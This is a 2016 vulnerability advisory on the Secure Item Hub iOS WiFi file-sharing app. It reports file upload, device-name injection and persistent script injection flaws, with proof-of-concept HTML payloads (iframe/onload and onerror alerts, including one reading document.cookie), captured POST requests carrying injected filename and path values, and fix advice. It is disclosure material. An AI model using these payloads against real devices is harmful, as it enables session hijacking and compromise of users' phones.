Document Title:
===============
Secure Item Hub v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1682


Release Date:
=============
2016-01-27


Vulnerability Laboratory ID (VL-ID):
====================================
1682


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Transfer files to and from any computer connected to the same WiFi network as 
your iPhone or iPad using just a web browser! Just drag and drop 
files into the browser (requires a current version of Chrome, Firefox or 
Safari) and watch the files appear on your device. You can also connect 
to other iOS devices that have the Secure Item Hub app and transfer files 
directly between devices!

(Copy of the Homepage: 
https://itunes.apple.com/in/app/secure-item-hub-wifi-file/id537353277 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities 
in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi 
web-application.


Vulnerability Disclosure Timeline:
==================================
2016-01-27:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Pinfolio LLC
Product: Secure Item Hub - WiFi File Sharing 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the Secure 
Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The arbitrary file upload web vulnerability allows remote attackers to 
unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `Upload` 
module. Remote attackers are able to inject own files with malicious `filename` 
values in the `Upload` POST method request to compromise the mobile 
web-application. The local file/path include execution occcurs in the index 
file dir 
listing and sub folders of the wifi interface. The attacker is able to inject 
the lfi payload by usage of the wifi interface or the local file sync function.
The attacker can also attach multiple file extensions to bypass the web-server 
file validation to execute a malicious web-shell finally. Remote attackers can 
exchange the filename with a double or tripple extension via POST method to 
bypass the upload validation and filter process. After the upload the attacker 
access 
the file with one extension and exchange it with the other one to execute for 
example own php codes.

Attackers are also able to exploit the filename issue in combination with 
persistent injected script code to execute different malicious attack requests. 
The attack vector is located on the application-side of the wifi service and 
the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high 
with a cvss (common vulnerability scoring system) count of 8.7. 
Exploitation of the arbitrary file upload web vulnerability requires no user 
interaction or privileged web-application user account. 
Successful exploitation of the arbitrary file upload vulnerability results in 
mobile application compromise or connected device component compromise.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Upload
                                [+] Rename

Vulnerable Parameter(s):
                                [+] filename
                                [+] pairs

Affected Module(s):
                                [+] Index File Dir Listing 
(http://localhost:8000/)



1.2
A local command/path injection web vulnerabilities has been discovered  in the 
official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The vulnerability allows attackers to inject local commands via vulnerable 
system values to compromise the apple mobile iOS application.

The vulnerability is located in the vulnerable `devicename` value that becomes 
visible in the `file dir (index)` module. Local attackers are able to inject 
own 
malicious system specific commands or path value requests in the vulnerable 
`devicename` value. The execution of the local command inject occurs in the 
`index` 
module of the mobile application. The attacker is able to manipulate the header 
name information of the application by preparing to change the local 
devicename. 
The encoding of the vulnerable values in the index header module is broken.

The attack vector is on the application-side and the injection requires 
physical device access or a local low privileged user account. Local attackers 
are also 
able to exploit the filename validation issue in combination with persistent 
injected script codes to execute different local malicious attacks requests.

The security risk of the local command/path inject vulnerability is estimated 
as medium with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the command/path inject vulnerability requires a low privileged 
iOS device account with restricted access and no user interaction. 
Successful exploitation of the vulnerability results in unauthorized execution 
of system specific commands and unauthorized path value requests to 
compromise the mobile iOS application or the connected device components.

Request Method(s):
                                [+] [SYNC]

Vulnerable Module(s):
                                [+] Header Location - Web Application

Vulnerable Parameter(s):
                                [+] devicename (HierarchyText)

Affected Module(s):
                                [+] Index File Dir Listing 
(http://localhost:8000/)




1.3
A persistent input validation web vulnerability has been discovered  in the 
official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The vulnerability allows remote attacker to inject malicious persistent script 
codes to the application-side of the mobile application.

The vulnerability is located in the path and name (class) values of the `New 
Folder` and `NewTextFile` modules. The request method to inject is POST and 
the attack vector is located on the application-side of the mobile app. Remote 
attackers are able to inject via POST own malicious script codes to compromise 
the wifi web-application index file dir listing. The validation and encoding of 
the `New Folder` and `NewTextFile` modules are broken and allows to inject 
malicious persistent script codes.

The security risk of the application-side web vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the application-side web vulnerability requires no privileged 
web-application user account and only low or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing, 
session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                                        [+] [POST]

Vulnerable Module(s):
                                        [+] NewTextFile
                                        [+] New Folder

Vulnerable Parameter(s):
                                        [+] path
                                        [+] name (class)

Affected Module(s):
                                        [+] Index File Dir Listing 
(http://localhost:8000/)


Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote 
attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


PoC:
<tr><td width="20"> </td><td width="50"><input id="checkbox_0" 
type="checkbox"></td><td valign="top" width="70">
<a href=">"><iframe>.png" target="_blank"><img border=0 class=thumbnail 
src=">"><iframe>.png"></a></td><td valign=top><div>
<a target="_blank" class=DirectoryListingLink href="[ARBITRARY FILE UPLOAD 
VULNERABILITY!].png</a></div><div style="padding-top:5px;" 
class="SmallText">PNG Image | 538 bytes | modified Mo., 25. Jan., 10:44<BR>
<span class=SmallTextButton 
onclick="renameItem(0);">Rename</span></div></td></tr></table></div></div>


-- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/Files// Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] 
Größe des Inhalts[156] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/Files/]
      Content-Length[722]
      Content-Type[multipart/form-data; 
boundary=---------------------------32641154472465]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------32641154472465
Content-Disposition: form-data; name="file"; filename="[ARBITRARY FILE UPLOAD 
VULNERABILITY!].png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[7148] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Content-Length[7148]
      Date[Mon, 25 Jan 2016 09:42:53 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/MoveItems Load Flags[LOAD_BACKGROUND  
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      Referer[http://localhost:8080/Files/]
      Content-Length[39]
      Connection[keep-alive]
   POST-Daten:
      pairs[2.png%09%3E%22%3E%3Ciframe%3E.png]
   Response Header:
      Content-Length[2]
      Date[Mon, 25 Jan 2016 09:45:16 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[7198] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Content-Length[7198]
      Date[Mon, 25 Jan 2016 09:45:18 GMT]
      Server[Pinfolio (modified lighttpd)]


1.2
The local command inject web vulnerability can be exploited by local attackers 
with local privileged system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC: Index - Header Information (Web-Application)
<title>Files</title>
</head><body>
<table border=0 cellpadding=0 cellspacing=0 style="width:100%;margin-top:40px;">
        <tr>
                <td width=65> </td>
                <td valign=top>
                        <div class="HierarchyText">
                                <a href="/" class="HierarchyText"><b>ktest2 
"><[COMMAND INJECT VULNERABILITY!]"></b></a>  > 
                                <span id="hierarchy"></span>
                        </div>
                        <div id="title" class="Title" 
style="padding-top:8px;padding-bottom:30px;">Files</div>
                </td>
                <td width=200 align=right valign=top>
                        <div id="signOutButtonArea" style="padding-top:20px;">
                                <span onclick="signOut();" 
style="cursor:pointer;">Sign Out</span>
                        </div>
                </td>
                <td width=65> </td>
        </tr>
</table>

--- PoC Session Logs [GET]---
GET http://localhost:8080/Files/ Load Flags[LOAD_FROM_CACHE  VALIDATE_NEVER  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[unbekannt]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/]



1.3
The persistent input validation web vulnerabilities can be exploited by remote 
attackers without local privileged web-application user account and with low or 
medium user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC: NewTextFile
<tr><td width="20"> </td><td width="50"><input id="checkbox_0" 
type="checkbox"></td><td valign="top" width="70">
<div style="padding-top:5px;"><img 
src="/Resources/img/folder-icon.png"></div></td><td valign="top"><div><a 
target="_self" 
class="DirectoryListingLink" href=""><iframe src="a" onload="alert("PENTEST")" 
<"="[PERSISTENT INEJCTED SCRIPT CODE!]">"><iframe src=a onload=alert("PENTEST") 
<</a></div>
<div style="padding-top:5px;"><span class=SmallTextButton 
onclick="renameItem(0);">Rename</span></div></td></tr></table></div>


PoC: NewTextFile
PoC: Folder
<td valign="top"><div><a target="_self" class="DirectoryListingLink" 
href="<h>xxs link
<a>[PERSISTENT INEJCTED SCRIPT CODE!]<img src=" c"="" 
onerror="alert(document.domain)">"><h>xxs link</h></a><a><img src="c" 
onerror="alert(document.cookie)"></a></div>
<div style="padding-top:5px;"><span class="SmallTextButton" 
onclick="renameItem(0);">Rename</span></div></td>


--- PoC Session Logs [POST]---
Status: 200[OK]
GET http://localhost:8080/Files/c[PERSISTENT SCRIPT CODE EXECUTION!] Load 
Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[345] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/Files/]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Content-Length[345]
      Date[Mon, 25 Jan 2016 09:54:49 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/NewTextFile Load Flags[LOAD_BACKGROUND  
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      Referer[http://localhost:8080/Files/]
      Content-Length[56]
      Connection[keep-alive]
   POST-Daten:
      path[%22%3E%3Cimg%3E%2520%22%3C[PERSISTENT INJECTED SCRIPT CODE 
VULNERABILITY!]%20src%3D%22c%22%3E]
   Response Header:
      Content-Length[2]
      Date[Mon, 25 Jan 2016 09:54:55 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[9636] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/Files/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Content-Length[9636]
      Date[Mon, 25 Jan 2016 09:54:55 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/CreateFolder Load Flags[LOAD_BACKGROUND  
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[23] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      Referer[http://localhost:8080/Files/]
      Content-Length[56]
      Connection[keep-alive]
   POST-Daten:
      path[%22%3E%3Cimg%3E%2520%22%3C[PERSISTENT INJECTED SCRIPT CODE 
VULNERABILITY!]%20src%3D%22c%22%3E]
   Response Header:
      Content-Length[23]
      Date[Mon, 25 Jan 2016 09:55:00 GMT]
      Server[Pinfolio (modified lighttpd)]
-
Status:  200[OK]
GET http://localhost:8080/Files/c[PERSISTENT SCRIPT CODE EXECUTION!] Load 
Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[345] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/Files/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Content-Type[text/html]
      Content-Length[345]
      Date[Mon, 25 Jan 2016 09:55:02 GMT]
      Server[Pinfolio (modified lighttpd)]


Solution - Fix & Patch:
=======================
1.1
The arbitrary file upload vulnerability can be patched by a secure parse and 
validation of the filename value in the upload POST method request.
Restrict the input and disallow special chars or script code tags to prevent an 
attack. Disallow usage of multiple file extensions and approve them as well.

1.2
The local command inject vulnerability can be patched by a secure parse and 
encode of the header location in the file dir listing index, were the 
devicename is displayed.

1.3
The persistent input validation web vulnerability can be patched by a secure 
encode and parse of the `path` and `name (class)` values in 
the `NewTextFile` or `New Folder` modules. Disallow usage of special chars on 
input to prevent persistent script code injection attacks.
Encode the index output values to prevent the execution point of the issue.


Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the 
filename value on upload is estimated as high. (CVSS 7.3)

1.2
The local command inject web vulnerability in the device name value is 
estimated as medium. (CVSS 6.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz mejri 
(resea...@vulnerability-lab.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                        - www.evolution-sec.com
Contact:    ad...@vulnerability-lab.com         - 
resea...@vulnerability-lab.com                        - ad...@evolution-sec.com
Section:    magazine.vulnerability-db.com       - 
vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
                        - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a 
permission.

                                Copyright © 2016 | Vulnerability Laboratory - 
[Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: resea...@vulnerability-lab.com
PGP KEY: 
http://www.vulnerability-lab.com/keys/ad...@vulnerability-lab.com%280x198E9928%29.txt


Reply via email to